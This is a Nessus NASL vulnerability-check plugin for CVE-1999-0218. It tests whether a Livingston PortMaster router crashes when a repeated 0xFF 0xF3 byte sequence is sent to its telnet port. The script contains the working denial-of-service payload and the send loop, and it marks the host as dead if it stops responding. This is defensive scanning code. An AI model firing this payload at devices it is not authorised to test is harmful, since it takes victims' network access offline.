code |
include("compat.inc");
if (description)
{
script_id(10182);
script_version("1.25");
script_cvs_date("Date: 2018/07/27 12:15:50");
script_cve_id("CVE-1999-0218");
script_bugtraq_id(2225);
script_name(english:"Livingston PortMaster ComOS Malformed Packet Remote DoS");
script_summary(english:"Crashes the remote portmaster");
script_set_attribute(attribute:"synopsis", value:"The remote server is vulnerable to a denial of service.");
script_set_attribute(attribute:"description", value:
"It was possible to crash the remote Livingston portmaster by
overflowing its buffers by sending several times the two chars :
0xFF 0xF3
An attacker may use this flaw to prevent you to use your internet
access.");
script_set_attribute(attribute:"solution", value:"Contact your vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"1995/09/10");
script_set_attribute(attribute:"plugin_publication_date", value:"1999/08/22");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_KILL_HOST);
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_family(english:"Denial of Service");
script_require_keys("Settings/ParanoidReport");
script_require_ports(23);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
crp = raw_string(0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3, 0xFF, 0xF3);
port = 23;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
start_denial();
send(socket:soc, data:crp, length:10) x 10;
close(soc);
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_hole(0);
}
}
}
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